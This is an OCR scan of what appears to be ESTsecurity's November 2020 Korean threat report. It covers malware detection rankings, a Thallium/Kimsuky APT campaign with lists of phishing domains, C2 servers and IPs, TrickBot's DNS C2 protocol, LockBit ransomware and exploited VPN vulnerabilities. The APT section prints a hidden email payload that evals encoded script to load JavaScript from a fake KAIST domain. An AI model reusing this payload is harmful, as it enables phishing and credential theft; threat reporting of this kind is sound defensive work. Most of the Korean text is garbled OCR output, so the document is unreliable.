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dll

S ZEet AAIE oI 2152| APT SA AEXE HIE 2iRlE R0l 2fdTF=S REolL
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SZ0|UCH JHIEE RE0| X2 B2 I2HE AR 22 2 Xt Tfsh: Tdsh - AFLT. 22 220
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74 oOFMTE TOP15

o 1 o-l—

A AFTFE Top 15= AEAL PCOIM BX|E TS 7|2 = HEs SALL

2020 10 €2 ZE 2HTE Top 15 2|AEN|A= X[t 3 ERE] 9 HIK| F1ES| 1 I RIXRIH
Hosts.media.opencandy.com O] 10 Z0l|= SoHA| 1 $IE RIXI3ICH X|HZ0H 2 91, 3 9, 4 $IE XFXIHEH
Misc.HackTool AutoKMS, Trojan.ShadowBrokers.A, Misc.HackTool KMSActivator 7 =212 X|ZiCt O Eojl=
Trojan.Agent.VB.Gen S H|Z5t 5 742| 2T EIL MEA Top 15 Of TIRSIRICH 1 2ofi= X[t E2f HISH =2

= B,

=% = g3 T =Nk SAIER =)
1 - Hosts.media.opencandy.com Host 311,158
2 - Misc.HackTool.AutoKMS Trojan 209,249
3 - Trojan.ShadowBrokers.A Trojan 149,570
4 - Misc.HackTool.KMSActivator Trojan 116,530
5 New Trojan.Agent.VB.Gen Trojan 113,695
6 11 Backdoor.Generic.792814 Backdoor 90,431
7 New Trojan.Glupteba.gen Trojan 84,184
8 12 Misc.Riskware.TunMirror Trojan 68,995
9 t3 Gen:Trojan.Dropper.RQU.Ev1@aGUXIJfO Trojan 62,188
10 t1 Trojan.Agent.gen Trojan 55,765
11 New Trojan.GenericKD.34497031 Trojan 55,047
12 New Trojan.GenericKD.34638119 Trojan
13 13 Misc.Keygen Trojan 53,355
14 New Trojan.HTML.Ramnit.A Trojan 47,771
15 1 Win32.Neshta.A Virus 43,578
RN =8, A 0E AEAIC| U SHIE BHioIo] LSS =2 2020102 01 Y€ ~2020H 10 31 L
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OINTIE S5 Hig
AT FYH HIZ0M EE20|=0HTrojan) F0| 7FY H2 71%E XIXRICH SAEM(Host) 0] 20%=
71 FIE O|UrCt. HiE=0{(Backdoor) R&2| HIE0| A M4S3HOM FEFHOZ 9 20 HIgH 10 &l MA| 4 U
36% 71 Aot
m E 20|50} (Trojan)
m AIRO| 9] Of (Spyware)
m O E2II0f (Adware)
Hio|2{ A& m F A (Exploit)
(Virus) E=zo|20} m & (Worm)
3% (Trojan) = 7|Ef (Etc)
71% = 2 & 0] (Backdoor)
M=ol = HFO|2{ A (Virus)
(Backdoon) 5F0I 4 (Hijacken)
6%

7|02 o+dFE Hig ME Hlw

10 20fl= 9 &1} H| w5t EZ0|=20KTrojan)2t SAELI(Host) S

S715IR2H, OH=R|0(Adware) 2EEE2| 4 HIZ0| A% SIEGIAUL.

E 20| =0t (Trojan)
A T}O0| 9 Of (Spyware)
O =210 (Adware)
StO| X 7{ (Hijacker)

2 (Worm)

F| 2k (Exploit)
HFO| 2| A (Virus)
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1. L GA HEZXZE S5 HIAE|HO|E(Blue
Estimate) APT ZHI|O1 X |

2019 & 0= OO|Z2AZEMS)AZF DASIHA LT S5t 37| i 1E EE(Thallium)'2l M==2
KISSYREEAZAPT) 34 F27t ZRRSLCL HE2 LE 257 |(Kimsuky)2h= 0|52 LK USLICE

ESRCE 11 °Jo1| HIEIE 417 CILIRION I 20194 128 042 247) 2, BOKh X/  ah) 2ek

AR APT 324 MiI=2| [EF HIAE|HO|E(Blue Estimate)] APT ZH[QI A|2Z|X2 SIQIRSLICY,
2 I ARRk= 2 "f3—.7 IS¢, YR S 2E| APT SZE + SYUCL 0|2 Cidret Z0f0| Chigt
AO|H PSS KIS0l UCH, 11 TVt IR =2 HEZ ZX[=LT JUSLICH

10| ZLALE HE U=H, 0lHf A= BEXMO(C2)

7211 kaist-ad JxyZ EMHIQIE 11 & 2D SHEXAO| I US| X2 = 1! CHXH APT 324

=M A2t S2et porkbun’ MH|A0IM SEHSLIL S2k2 E2 2 Z0k2] AK| 0t0|T] CHHO| UA| HEH

[l WUN — |

HRILICE

— kaist.r-naverl.Jcom (185.224.137.164)
—www.kaist-aclIxyz (185.224.138.29)
—mail kaist-ac[Ixyz (143.248.155.65)

Domain Name: KAIST-ACXYZ

Registrar URL: https://porkbun.com
Updated Date: 2020-11-10T19:11:40.0Z
Creation Date: 2020-11-01T13:41:49.0Z
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& email txt - Windows 2% — O >
oYM BIE MAQ =27V Eew
=7 %‘P_' O L 2 L|Ct<br= <br= <div style="display:none"> <!--<img src="--> <img 2

SrC=x onerror:ja\.rascript:eval(unescape(s1 annerHTML) /= <div style :"display:none'

id="s1">if%28%24%28%22%23temp1%22%29.length%3D%3D0%29%7Bvar%20a
%3Ddocument.createElement%28%22script%22%29%3Ba.id%3D
%22temp1%22%3Bwindow.parent.parent.parent.document.getElementsByTagName
["head"}%SED%SD.appendChiId{a}l.src%3[}"https%3&%2F%2Fkaist.m
%2Fanalytics.js%3F_%3DeWFuZ2g=%26token%3Da2Fpc3Rwb3J0YWw="%26delay

%3D30%26m%3Dlogin"%3B%7D </div>

Ln 1, Col 408

100%  Windows (CRLF) UTF-8

[ 1] 2Fd O|H|J0fl ZetEl LiS FE S

o 2 FA= HIO[HAEE VirusTotalcom)tl| SSE M2l 2IA0|=(Threat Inside) MHIAE Sal 0]0] 2
AMO|EZ EFE|0] U= AEHRILIC.
-
1 (1) One engine detected this domain
/83 f':
\—/ kaist.r-naver.com Registrar reation Date
p r-Naver.com Hosting Concepts BV. dibfa Openprovider 2 months ago
X ey
DETECTION DETAILS RELATIONS COMMUNITY

(1) Phishing

ESTsecurity-ThreatInside (1)

AegisLeb WebGuard (%) Clean
Antiy-AVL ) Clean
Avira {no cloud) () Clean
Baidu-International .’? Clean
BlockList ) Clean
Certego () Clean
CLEAN MX () Clean
CRODF () Clean
CyRadar () Clean
desenmascara. me (\Z/ Clean

ADMINUSLabs &) Clean
AlienVault ) Clean
Artists Against 419 /) Clean
BADWARE.INFO ) Clean
BitDefender () Clean
Blueliv () Clean
CINS Army () Clean
Comeodo Valkyrie Verdict () Clean
CyberCrime () Clean
Cyren (Z) Clean
DNS8 &) Clean

ESTsecurity Copyright © 2020 ESTsecurity Corp. All rights reserved.



[ X] VirusTotal * +

& (& & virustotal.com/gui/file/3825188287cbd9ad61a33ec27173c36234834881c27a99b30c6f44275598b017 /detection B ¥ e H J

1 P e I S e g v C A t: [ gy
‘Z PAOTESS: oman, of e hash ® = { €m

(1) One engine detected this file > f__- ’

| y
v 3d25188287cbd9a461a33ec27173¢36234834881c27a99b30c6f44e7 O
(s

5598017 189.00 KB 2020-11-11 22:37:27 UTC
Criverdriver.cfg » o &
2 o o 64bits assembly nvalid-rich-pe-inker-version pedl
DETECTION DETAILS COMMUNITY
AlYac 1;!-.'4 Trojan.Agent.1935346T Acronis : Undetected
Ad-Aware @) Undetected Aegistab 7) Undetected
AhnLab-V3 («) Undetected Alibaba ) Undetected
Antiy-AVL () Undetected SecureAge APEX (%) Undetected
Arcabit 7) Undetected Avast 7) Undetected
NG Undetected Avira {no cloud) (¥) Undetected
Baidu w: ) Undetected BitDefender i ) Undetected
BitDefenderTheta (@) Undetected Bkav 7) Undetected
CAT-QuickHeal (9] Undetected ClamAV v ) Undetected
CMC 7 Undetected Comodo 7 Undetected
CrovidStrike Falcon 7) Undetected Cylance 7) Undetected @
Cynet ) Undetected Cyren /) Undetected v !

[(12! 2] HIO|HAES MH|A0| EX|E 3HH
0|2 7124 S ZX|0] AEst MZ=2 2 O] ESRC £lgd QR [TA HLIHZ MFEH| LA|USLIC

offEh 2iM mle 'IEERIKST) 7122 2020 A 11 € 10 & MEEMSLICE 12|11 64 HIE DLL EAIZ 71X
UOMH QAILE S=TH0| 'ut_zeus(x64).dll YLICE C2 FA= app.veryton[Jml (216.189.159.36) ILICL.

oty BE M= HMPAzeus) 0IES XIFsH oAl #5S MRS ot QU=G|, 2020 H 07 & 10 Y HIEtE
32 H|E HHEL QIATIE SH4MHO| 'ut zeusx86).dll' RILICE (2 FTAE 'eastsea.or] Jkr (45.13.135.103) QILICE,

eastseaorl k' FL0M= BE Z2]9| ok M0 HELE 0[240] EXHFHLICE,

SEER QUALIEH HZH|01(C2) Domain HHXMOI(C2) IP
2020-07-10  21:04:00 | ut_zeus(x86).dll eastsea.or] kr 45.13.135.103
(KST)
2020-11-10  12:01:08 | ut_zeus(x64).dll app.veryton[.Jml 216.189.159.36
(KST)

ESTsecurity Copyright © 2020 ESTsecurity Corp. All rights reserved. 9



i T —
(v2@) =

am "2 gRRoLD
28, ol3lUl

8;
(&

(_QWORD *)
/16[3] »= Buiba )
5 = (_QWORD *)*vi16;
@i64;

while { *({_WORD *)v16 + vi1d4) };
(&v26, v16, vid4);

((__int64)&v26, (_ int64)&v29);

+ 2 3= Bx1880 )

18 = (_BYTE *)*((_QWORD *
if { (unsigned __inte4)({w23

((const unsigned _ intle *)&w4l));

*)vi4;

(vi4 + 2@) >= Bu )
*(const unsigned _ intle **)vi1d4;

37 + 2;
Bxlees )

*(_DWORD *)({v35 - 4);

w18 = 2 * w37 + 37;
if ( (unsigned int)(v35 - v17 - 4} > @x1F )

(221 3] 244 IU0| USSlef & (2 SAE FASHH

eastseaor k' £ A= 0[0] EE 20| AE3HEH FQ 0|10t SUSHOt0[m| T LTt
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appmedicine.whoint[Jcf
assembly-check-loader.pel Jhu
bigfile.hol[Jes

bigfile.pelJhu
check.sejong-downloader.pelJhu
ck.daum~vip.pel]Jhu
daum-do.pelJhu

daum.pel]hu

gabia.pelJhu
mail.astrozenecal.Jml
members.daum.holl Jes
nagoya.datastore.pel.Jhu
naver.hol[Jes

snu.ac-kr.esylJes
suzuki.datastore.pel.Jnu
toyota.datastore.pel.Jnu
upload.bigfile-nate.pel.Jhu

~ O[5 Ci: A2t -

FAIE LSS0l ARRE L1252 HE0| ML A0[& = UKD X[ 102 16 Y SE EEXEC| LY
USSHH X2 BAOZ A&t CIRFE APT 34 241 L1t |AFSt SES 7HK[1 USLIC
ORIV IR|Z ZA| AR = kasse hdactech(Jinfo' 42} kaist.—naver] Jcom' SEHA0| ZXHfsts ZiS &lRlEt 4~
USLICE 2|11 CFE Q2 T4 2RIT JiSoH| 2fAH ©F XR2|0| Akger EH|QSat S ELICE
Domain IP

kasse hdactech[Jinfo 185.224.138.29

kaist-acl.]xyz 185.224.138.29

firmware kasse-tech[]club 185.224.138.29

updown.kasse-tech[]club 185.224.138.29

hi-hardwallet.esyl]es 185.224.138.29

wallet=info.esyl Jes 185.224.138.29

upd.hdac-tech[Jouzz 185.224.138.29

hi-hardwallet.esyl]es 185.224.138.29

hdac.wallet-info.esyl.]es 185.224.138.29

orbit.wallet-info.esylJes 185.224.138.29

bmail-or—kr.esyl.les 185.224.138.29

my-homework.890m[Jcom 185.224.138.29

kaist.r-naverl.Jcom 185.224.137.164

ESTsecurity
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kimm.r-naver].Jcom 185.224.137.164
renk-ag.member-infoJnet 185.224.137.164
genexine.member-infol Jnet 185.224.137.164
shinpoong.r-naver|.Jcom 185.224.137.164
shinpoong.accountcheckl.Jnet 185.224.137.164
jnj.accountcheckl.Jnet 185.224.137.164
bidmc.accountcheck[ Inet 185.224.137.164
vdaum[Jnet 185.224.137.164
outlook.accountcheck] Jnet 185.224.137.164
pusan.accountcheckl.Jnet 185.224.137.164
binance.member-infol.Jnet 185.224.137.164
yahoocenter.member-info[Jnet 185.224.137.164
yonsei.member-infol.Jnet 185.224.137.164
shkj.hol[Jes 185.224.137.164
logenv.rmaver|.Jcom 185.224.137.164
nidlogin.c-naver].Jcom 185.224.137.164
ukroboronprom.udaum(]net 185.224.137.164
mail.otokar.esyl.les 185.224.137.164
mail.malyshevplant.hol[]es 185.224.137.164
logins.udaum[Jnet 185.224.137.164
email-hanwha.pelJhu 185.224.137.164
ahnlab~vachollJes 185.224.137.164
340 ARZE E0IQ] 0| Y2 St APH0| SSol0 Aot USLICE

nextstep.php@gmail.com' X|[HYS AL2s6H= -'0—7—17(}‘— Ttonggui Wang' &=
= Uel=Fo= Y it 3=2C= 4

S22

SOIEAE HSHHS +82.13511823459 AN= SYUGHA| ARBSILL
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Mame Tomas Jerry Mame Ttonggui Wang
Organization Ttonggui Wang Organization Ttonggui Wang

Email nextstep.php@gmail.com Email nextstep.php@gmail.com
Address 123987 Address 10010

City Seoul City beijing

State Seoul State wangjing

Country ‘8. Korea, Republic Of Country Bl china

Phone +82.13511823459 Phone +82.13511823459

Fax +32.13511823459 Fax +82.13511823459

Private no Private no

@ List of domain names registred by|nextstep.php@gmail.com

Domain Name Creation Date Registrar

udaum.net 2019-09-05 hostinger.com
duaum.net 2019-11-27 hostinger.com
member-authorize.com 2018-05-11 hostinger.com
c-naver.com 2019-08-04 hostinger.com
webuserinfo.com 2020-07-30 publicdomainregistry.com

[12 4] SAX7EC2 EHQI SEA| ARS8 HH 31H

X068 30 =7 I(ES) _’E’E!, T2LH19 H|O2F WSF I 7| =
‘parksonghui1910@gmail.com, yourtest111@outlook.com' FAS 3._ it S=C= SFotHt %l%'—lllh

ESTsecurity Copyright © 2020 ESTsecurity Corp. All rights reserved.
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@ Domain

Domain
Words in
Date creation
Web age

IP Address
& Registrant

Name
Organization
Email
Address
City

State
Country
Phone

Fax

Private

mail1-help.com
mai 1 help
2020-02-13

2 months

92.249.44.201

Unming Jane

Unming Jane
yourtest111(atjoutlook.com
Beijing

Beijing

Beijing

Bl china

| +86.16533907253 |

+86.16533907253

no

@ Domain

Domain
Words in
Date creation
Web age

IP Address

& Registrant

MName
Organization
Email
Address

City

State
Country
Phone

Fax

Private

org-help.com
org help
2020-03-25

1 month

213.190.6.57

uUnming Jane

Unming Jane
parksonghui1910(at)gmail.com
SEOUL

SECUL

SEOUL

®} Korea, Republic Of

| +82.16533907253 |

+82.16533907253

no

first-happy.esy.es — user.mail-help.com

20204 028 #H

'nextstep.php@gmail.com’ O|HIY

general-second.org-help.com

Kimsuky 20201 04F L Kimsuky
[ 4-1] AL 21> A0 ARSE |1 H|
42 SEE FQ Tl 4= ThZat 25U

‘accountcheck] Jnet' 40| A= ZTZIHO| 'ttonggui wang' 0[E0IM 'securityteam’ A 0129 E HAZ EXI0|
UXIZt tomas jerry' 0|22 S SHLCE
2l XX =

member—authorize[.Jcom ttonggui wang ttonggui wang
udaum(]net ttonggui wang ttonggui wang
rmaver].Jcom ttonggui wang ttonggui wang
daum-center Jnet ttonggui wang ttonggui wang
duaum[.]Jnet ttonggui wang ttonggui wang
pro—navorl.Jcom ttonggui wang ttonggui wang
member-infolnet ttonggui wang ttonggui wang
webuserinfol Jcom ttonggui wang tomas jeny
accountcheck[Jnet securityteam tomas jeny
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ZfZ19] IeM|QI2 oh=2| O AMOJH 217 ARIOIM =4E Bt QCH, 25 BE 2= ERE(] U= SERILC,

LHEXOZ 'member-authorizel Jcom' EHIQ! FAL| AL 20191 03 & 12 Y QuE U= S5k ME X Q|Xkst
AT A SZA0A A=l HE USLICE

T12|1 2020 A 05 Eofli= eh=2| et 20F 7|8t SAUME HEEE H ASLICE

R u385698457@srv142.main-hosting.eu0|(7h CHS At T4l 24 O 2% 1-  2019-03-12

(QmE] Yz 2y A= o
http://member-authorize.com/gecurity/ b
ownloads/download.php?
filename=20190312 £ #+H -
UL MEEY 1 7 (15kB) = =5 (2. hwp

A g Moo S=5HAL oAb R,
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[Trojan.Agent.QakBot]
OIMTAL HAM HTIM

Z[Z U 7|01 [MRR]] LYAKIEME AR HIY0] REEIACE. SZKK= Of2He| T
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Attached below requires your attention
Please contact me with any questions you have.
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TrickBot 2|54 HE, 4H| SZ0N 2hdhs] LS5

TrickBot Linux Variants Active in the Wild Despite Recent Takedown
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AVEIEE 24012t AT
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MEE MZ0|M= Anchor DNS 7t M2 25A BHEN HZQ1 "Anchor Linux'2 ZEIE ZdOZ LIEfHLL Ol= £&
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"c2_command 0"S MH0|| &St TFS "signal /1" HIAIX|Z 01| THA| SE?

C2 2 CHA| M5, M= S2H0[IENA ASE HH0IS §Z{OR MBI OEX|3} THA0IME 20| A% Zni2
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‘C22 ML= 2= SA EE2 99| DNS #He2| 37X [MELE”

ESTsecurity



04 S2Y HOt 35

Client DNS Query C2 Response

0<UUID 1<UUID><dw Identifier>
bytes><current part><total parts>/an
chor dns/<Bot GUID>/<c2 command>/<co

ntent>/

1<UUID><dw_Identifier> An IP address, which signifies the size of
the data to be expected from the final
third query

2<UUID><dw_Identifier><dw DataReceiv | A list of IP records denoting the data
edSize> corresponding to the payload

[O]0]X] =] https:/thehackemews.com/2020/10/trickbot-linux-variants-active-in-wild.himl

Netscout 2 HQF HTLI91 Suweera De Sauza = 022} ZH0| SZ3HCE
‘C22 MEE|= BE M EE2 22H0| DNS #| 37IK|Z [WEL)”

Client DNS Query C2 Response

0<UUID 1<UUID><dw Identifier>
bytes><current_ part><total parts>/an
chor dns/<Bot GUID>/<c2 command>/<co

ntent>/

1<UUID><dw_Identifier> An IP address, which signifies the size of
the data to be expected from the final
third query

2<UUID><dw Identifier><dw DataReceiv | Alistof IP records denoting the data
edSize> corresponding to the payload

[0]0]X] =] https:/thehackemews.com/2020/10/trickbot-linux-variants-active-in-wild.hitml

M 2 F2]e] Zik= 3l Tiset H0|==2 2=ol/| ?loll E210|HEY} 0120 DidJok= IP 34 ==0|Ct. C2
MEHOflN T&ot OFX|Y C|O|E] 2242 X0| emdexe S AFS0IAL 2 DY BMY|LL TR S A S0 T2A|A
L0l Z=iol0] HO|2ES &diol| ?let B BRAEI=R0AE 0-14, 2ls20A= 04, 10~12, 100)0f] oS,
Anchor C2 SH190| SEE=2} X0| &tioh= H0|=2=5 ATH= Zt Trickbot 2EX[2| S=0| &fFott= 2t XEHL
SHL0| 7ksdICt= AE & 4= AR OIS2 EISAZ SAS &AM 0|12 S3olf [Tt

o°="

[EX [The Hacker News] TrickBot Linux Variants Active in the Wild Despite Recent Takedown
https://thehackemews.com/2020/10/trickbot-linux-variants—active-in-wild.html
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85| HESTE 0|Solxl thEH SHsk= LockBit THAHUI0]

LockBit ransomware moves quietly on the network, strikes fast

LockBit 21017} TSHAIS| HIERT 0| =0l Yfsst FEIS ARGh=0| Z2l= AR T 5 221 A= LIEKIT
LockBit 2 2019 A 9 & AJRE MHIAS 2HMR(RaaS)E AISSHE TZMAE SEdll HIET A0 HEA|

o
S| ZQSHAARIS HEA]| AlEGH AUSSISIC LockBit 2 EHlA M2 25t EXMZ 72| H7(X| 2o, Al
A 27U XY TS HMASICH

ASRE 3 uzof

Sophos 2| F-TES2 At ZX|0A] TSt A 8 15 AR 2, LockBit HHEA|040]] Cet Hf B2 EHE =8
== QUL 0|52 &t Aol B20] SHZE QIES HE MH(IS)OIM AEIEIRICHS S UTAMCE 0] A= &
PowerShell AFEEZS AXOH, 0] AFREE #4 F12 ADYCAE ZM0| LHEE £ OE AFEES
S0l

& :::rio.l.;r vf:w ¥ f Data Tools Addo Help m

&7 R

' PRUESA PILOT PRUEBA PILOTO PARA LA EXPORTACION DE PRODUCTOS DE ALTO VALOR TECNOLOGICO
¢ PRUEBA PILOTO PARA LA EXPORTACION DE PRODUCTOS DE ALTO VALOR TECNOLOGICO ENCUESTA PARA PYMES PARTICIPAN

5 1.« IDENTIFICACION DE LA EMPRESA 1. IDENTIFICACION DE LA EMPRESA

7 Razdn socsl o Nombre: Cash Pass Argentina S:A Razén social o Nombre: Cash Pass Argentinag SA

g Cut N® 30.-70848188-8 Cuit N*:  30-70948168.8
4 Nombre de Fantasia Nombre de Famasia
0 Direccidn: Bouchard 644 Piso 5 Of A Direccidn: Bouchard 644 Piso 5 OT A
! Localdad: Ciudad Autonoma Localidad: Caudad Autonoma
= Sheet] « [+

[0]0]X] =] https:/newvs.sophos.cominp-content/uploads/’2020/10/L ockBit-1-1.png

0] AFEEE C&C AHO| HZSI0{ PowerShell & H0tQt MX[SH HHE-O0E MX[6ir X[&MHES =Lt
S4X= BLEZZ 6kl 272 HI7IK| 27| %’—ISH PowerShell 2 SAFE2} O[3 2ATE HTML OiE2IH|0|M
(mshta.exe)= Altick= HIO|LZ[Q| 0|22 HZAGICT, HALAES2 0|2 “PS Rename” 2Z0(2t HHIILC 0] Hi-0{=

24 DS MX[ol, A|ARI0| XHA|ZHE o &= LR H_|1E01§ Che=C 3 A6l5k= VBScipt & 22l6l= gets
L},

o 0
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SZ0]| CHSt 7HR2:= Of2het &Lk,

l;oDHOS

LOCKBIT "PS RENAME" ATTACK

. GOOGLE SHEETS DOCUMENT
. —> ‘ (Files/Templates)
. ( docs.google.com/spreadsheets/d/...
Launches remote I
i initial PowerShell script I
Compromised | — POWERSHELL BACKDOOR STAGING /C&C
1IS/WSUS server | —_——3
| Lt IP: 142.91.170.6
I | ASN: AS7203
| | AS Label: Leaseweb USA
— - Location: US
Initial PowerShell Script J| I
Calls script from cell of Google Sheets doc. = )
I (-]
| ( > 1
Secondary Script | SECONDARY POWERSHELL C&C
-Connects to CnC —_—
-Downloads and executes PowerShell module to | IP: 142.91.170.175
install backdoor | ASN: AS15003
Loads module from CnC | AS Label: NOBIS-TECH
Y | Location: US
Backdoor Installer module |
- Copies and renames PowerShell.exe and |
Mshta.exe |
-Creates Task Scheduler task executing VBscript
that launches backdoor. I
Backdoor #1 I
- Downloads modules for attack |
- Installs LNK file in Windows Start folder |
Remote Desktop Connection.Ink }
— — —

Executes VBScript that retrieves and executes
secondary backdoor on system restart

Backdoor #2

Downloads and executes modules for attack

[0[0]X| =] https./news.sophos.comAnvp-content/uploads/2020/10/L ockBit-1-1.png

Sophos 2| 12 Z72Ql Sean Gallagher = Of2fiet Z0| ¢E3HLE. “0] 32 AFEE= XIS HI=Z2|0| 2R
HE510] =R 10 0f| LEEE tE| AFITAE QIEHO|AAMS)E 2loH Al

TS HI2 AJAHIOA WA= OfE/MER RIXis [ of2 S IyQIRIF9I PowerShell Empire £ 7[EIOZ &i=
ATEES MEoCl= XS & o= ULt SHA2| SH2 OfolAt HERFM et EE Eolll, SQet AIAHS

melst AR E921 o] £FMS 2fQlok= AO0IACE. Gallagher = Ol2{et AFEET POS AIAHIOLL 2[Aof
ARE= “IIR EXNSH Q39| H|ZLA ADEQIH'E AT HXAEZIS ZIMGH| st UHEMOl T3S

= 0O
AEACI BiRAL.
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Of2f= M| ZetE 2 71Rl= ==0IC.

Keyword Target

Opera Opera browser

Firefox Mozilla Firefox browser

Chrome Google Chrome brawser

Tax Search for any tax-related software process
oLT OLT Pro desktop tax software

LACERTE Intuit Lacerte tax software for accountants

PROSERIES Intuit ProSeries tax software

Pointof Sale  Search for point-of-sale (retail) software

POS Search for point-of-sale (retail) software
Virus Search for anti-malware processes
Defender Microsoft Windows Defender

Secury

Anti Search for anti-malware processes
Comodo Search for Comodo antivirus or firewall
Kasper Kaspersky anti-malware software
Protect Search for anti-malware processes
Firewall Search for firewall processes

[O]0]X] =] https:/news.sophos.conven-us/2020/10/21/lockbit-attackers-uses-automated-attack-toolks-to-identify-tasty-targets/

SES2 0] FdF =0} EHI0] DHHX0[2tT TEE ZR0TH LockBit OIS BHZZS ZI0[2f BRACE

I35t EflS MASH S, LockBit ML= WMI(Windows Management Instrumentation) H2S AF2510 5 £
O[LHOi| T2 2|0flA ARKEICE 2E EFI2 WMI £ S5l 5 £ L S22 BRI} HMY0E HIESH=| ARBE MHS
AL EFL AJARL L O[HIE =77 CHREE, ERI A|AR! 51 M= A0 B 2P T ARIEICH SLE2 34
DE0| Bl [2lg 61| R0 WM HHO0| MEOIAM AARIOCE MEFE &~ UUS A= FZIICL 0]
349 =7| AE uiH2 OFRITEX| LXIX| AACE X[t 5 2, McAfee Labs 2F Northwave = LockBit ZH&LI017}
Q2fE VPN AMH[AO| CHet E2|Xt 2701 Xt ZSHE BEFELLAGH DloHAe| HIERI0| Fet WAS XiA[S|
AL} 0] QETE= 3L THOf| AH F 25 CHRE HFE] 225 CHE US3RHCL

[EX] [Bleeping Computer] LockBit ransomware moves quietty on the network, strikes fast

https:/ /mww.bleepingcomputer.com/news/security/lockbit-ransomware-moves—quietly-on-the-network-strikes—fast/
[Sophos] LockBit uses automated attack tools to identify tasty targets
https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses—-automated-attack—tools-to-identify-tasty-targets/
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ofi71=, VPN FI2HE 24510 0] EF A X3 AAH0 B2

Hackers used VPN flaws to access US govt elections support systems

HE XIS = si7S0] VPN F{f&n} 2 LUAE AR HOt FOFEQ! C(VE-2020-1472 € 24E510{ 0|32
MA X2 AAES siZol] st A= LIEKICE O] (ISA= APT 32X} 0] F2fH A2l Maks Soff it HE
2 Z= X|L(SLTT: state, local, tribal, and teritorial) & HERT, M 2| £ QIS L-a|1 ATk HICY,

HA K AMAH SIS

CISA 2t FBIOA S5 ZEet 22t H oAM= Offiet Z0] =AU,

"SAKXQ| ERI0] A 2 FEO| 7110] B2 7ksol| 20| MEfE 24 ZXl= 4=t ST HE HEXZ0
MEE M1 F=of| 2zte] fieiE =g 71540] U= A2 HOICL 0] 2SS Sl A X AAR-0 FHoZ
B A7 25 I

2L, CSA 7+ st Z4x2 0] APT 3AXIE0| “MA HI0[E2 FAE"S &MAEH &= U2 AOl2l=E A=
OFEI7EK] QALt, O] A|AEIN| HZol7| o, ZZAXI= Fortinet FortiOS Secure Socket Layer (SSL) VPN 2] CVE-2018-
13379 FHS Eal| QEUl MHE 2+E517LE Mobilelron Unified Endpoint Management (UEM)2Q] CVE-2020-
15505 FFHS Soll ZHIY 7[7|0fA =7| AMIA Heks ULt O 5 AKX C(VE-2020-1472 (Zerologon
ForH)g ARSI} 0] FAMS /=2 Netlogon Q15 TZEZ0|| EXH6HH, A0 HMast A XDt =HQl
HEXE et MSAI7|I=S Si8SI) 0|2 34Kk= Al =MHIQIS MI0f5H0 ABKIe| HIUHSE HAS
UL O|F SZX7EVPN,RDP 2t 22 FAI A H& E5 Al oiiZst 2|HE = 2HH0)| AMASE IS HERICE
HELE SIS0 = X|EE S 7|2 2 OLL2t 03] 222 RO 10 ¥ AW 3, O[0|Z2ATELE 0[2t0] XS =
s 12921 MERCURY (MuddyWater, SeedWorm, TEMP.Zagros 2= 24Z)7} Zerologon F[ES 5| 22
SO0[2t ZIHCY,

3% 20| AR 4 U= VPN Hord

APT SI7S2 LIEQIT H2 H512 27 I8 FortioS SSLVPN 2 EE! FIOFHOl (VE-2018-13379 S {23/t
CISA = THXIE|X| 242 QIEH 17 LIEYT K| 7]7|S 25 0[2{st BHS WS 4 UCH AT (A =
QIE{I0) =BT HEST QIIat L U FOIMS ZA| XIS 2 HUHCH E5t APT ZHAD} M, 50

Q1O HIEQFM =7| B2 Hets ©7| flofl 71 B0| 248 +~ U= FAHCZ O 5= ST

— Citrix NetScaler (CVE-2019-19781)

- Mobilelron (CVE-2020-15505)

- Pulse Secure (CVE-2019-11510)

— Palo Alto Networks (CVE-2020-2021)
— F5 BIG-IP (CVE-2020-5902)

Xt 9 &, DOEZATEE= A0 S=, 0I22] APT SZXIS0] 2020 A Ol MAHE 2|l QT FI3HOH
108 =, (ASAE 0[=2] 0f2] = H X HRE L2l= Emotet 20| S7Fettal F1I5H | L

9
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[EX] [Bleeping Computer] Hackers used VPN flaws to access US govt elections support systems

https:/ /mmw.bleepingcomputer.com/news/security/hackers-used-vpn-flaws-to-access-us-govt-elections—support-systems/
[CISA] APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations
https://us—cert.cisa.gov/ncas/alerts/aa20-283a
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